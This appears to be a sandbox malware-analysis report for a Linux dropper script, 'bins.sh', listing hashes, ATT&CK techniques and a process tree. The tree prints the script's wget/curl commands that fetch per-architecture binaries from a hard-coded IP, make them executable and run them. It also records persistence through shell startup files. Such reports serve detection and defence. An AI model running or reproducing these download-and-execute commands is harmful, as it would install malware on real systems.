f6f3b06ff42116c675cdf5a6165a9d52b30fdfd232622eaa3840383bf363f25e

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/06/2026, 00:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample260628-al2hxaev3v
SHA256 f6f3b06ff42116c675cdf5a6165a9d52b30fdfd232622eaa3840383bf363f25e
MD5 05fda71868fe0643b0a4935897800eeb
SHA1 68208ebc39593e3be91f2ec536f90ed2ac5ef9d9
SHA512 e8ac4bed6e055cf13ffbbce471e67b292b8b466ca29883d087e28ff3e4c99ada28ac3c2e1f9924346b8efce405ece1b9db65d8da8a459001235e42d0fa081807
TLSH
T1C241B28B726434B3C40AEE55F3E495C4E18997E3E2B7CAB8B4A48763105D12CF5A6F70
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
677	chmod
682	chmod
720	chmod
740	chmod
756	chmod
780	chmod
785	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/x86	678	bins.sh
/tmp/x86	684	bins.sh
/tmp/i386	721	bins.sh
/tmp/i386	741	bins.sh
/tmp/amd64	758	bins.sh
/tmp/amd64	781	bins.sh
/tmp/arm	786	bins.sh

Creates/modifies environment variables 1 TTPs 3 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

T1574.007

description	ioc	Process
File opened for modification	/home/user/.bashrc	arm
File opened for modification	/etc/profile	arm
File opened for modification	/root/.bashrc	arm

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/test_write	arm
File opened for modification	/usr/bin/sysd	arm

Modifies Bash startup script 2 TTPs 3 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/etc/profile	arm
File opened for modification	/root/.bashrc	arm
File opened for modification	/home/user/.bashrc	arm

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	arm
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_quota_us	arm
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_period_us	arm

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/cgroup	arm
File opened for reading	/proc/self/mountinfo	arm
File opened for reading	/proc/stat	arm
File opened for reading	/proc/meminfo	arm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/i386	curl
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/amd64	curl
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/i386	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:649
- /usr/bin/wget
  wget http://91.92.42.125/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:651
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /tmp/x86
  ./x86
  2⤵
  PID:678
- /bin/rm
  rm -f x86
  2⤵
  PID:680
- /usr/bin/curl
  curl -O http://91.92.42.125/x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:681
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/x86
  ./x86
  2⤵
  PID:684
- /bin/rm
  rm -f x86
  2⤵
  PID:688
- /usr/bin/wget
  wget http://91.92.42.125/i386 -O i386
  2⤵
  - Writes file to tmp directory
  PID:689
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:720
- /tmp/i386
  ./i386
  2⤵
  PID:721
- /bin/rm
  rm -f i386
  2⤵
  PID:724
- /usr/bin/curl
  curl -O http://91.92.42.125/i386
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/i386
  ./i386
  2⤵
  PID:741
- /bin/rm
  rm -f i386
  2⤵
  PID:743
- /usr/bin/wget
  wget http://91.92.42.125/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/amd64
  ./amd64
  2⤵
  PID:758
- /bin/rm
  rm -f amd64
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://91.92.42.125/amd64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/amd64
  ./amd64
  2⤵
  PID:781
- /bin/rm
  rm -f amd64
  2⤵
  PID:783
- /usr/bin/wget
  wget http://91.92.42.125/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/arm
  ./arm
  2⤵
  - Creates/modifies environment variables
  - Write file to user bin folder
  - Modifies Bash startup script
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:786

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 5.8MB
SHA256 ba01bc4f787871ce0f3ab3c2382cf5fe250dbdda7a06bdf38908d22fe79d6b8a
MD5 0bf2c86cbb592b54fe0bc1ee0ec1f686
SHA1 49bd72cb73e6306ea0a332cd1b8683a2b6e86965
SHA512 9c8abcd0a816c2cae33621161898aee967a562fcd6af76a491a4937b3bb2563f790a973c3b5c347d4009a90a3f0fc0f8e8105d3896baa27f30cea95afae98e85
SSDEEP 49152:4nFAt/cznBAdT8Eih8qSEiMDCs4qvlZz5oSe8iRQJfL9NinKlK1KcglCQ5ED:4necjZZOB8vW5w9ED
TLSH
T162565A57EC9514E9C0AE9230CA729153BB717C991F3123D32BA0B6382F77BD0A9B9354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 5.7MB
SHA256 cc5adaad983d6eae97c7e7abc75452e6fbc8caf9a57f413f646164e2d4ca044a
MD5 2698042648d45ee4316fabce5bd0055a
SHA1 9b59ce769954a6ad5b518bd8ebb48bac1ada1d85
SHA512 d75942539b94ed67b587ec3f0a4c44043e8a256efedb4dac1deea50e86ea1b322aedbbe451b5f91ca7137c51dfd63c7e7de69c8f49a0ac60e24aa15808bcbf56
SSDEEP 24576:sqPbgl8lCXK6ToPZIknlnW1PYhYjeStZV6RT0NelsDwcwpfkoyKB+idY3g4UgRx6:s2CIZVXciqNNYEk5imIC2mwq5xG5EJ
TLSH
T158561897B9924943C4E8367BA9BD80C433630EB98B9752675D04FE383EBE1D90E39354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 5.6MB
SHA256 caa9408fdf9272b4a2c02061218f78c96124608dd23694cfc19ab0747ec1a43c
MD5 876fd318fdc34f99f4287b3d86790d9f
SHA1 22b3f5db2854896dc5e1a41d24d8dff03ce54e79
SHA512 4de5c64e17d4aafb4d3206ffc4d4f6caeea61390b4e2c4778076cd71016eee67a5260a590969aa150f0ebb618e9394338b49af45c2030f537930381f0fac8446
SSDEEP 49152:42pVfZ03PyySNwWl3neuLayncJgzFtNd4yUkG730Qh5sL/Aah0WZHa5Ek:Xle3qySNpay5Hd4yG7wIdWdwEk
TLSH
T1D5563811FACB04F6E6031E3104BBA27F67315D064B25DBD7EB407E29FA7BA911936209
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads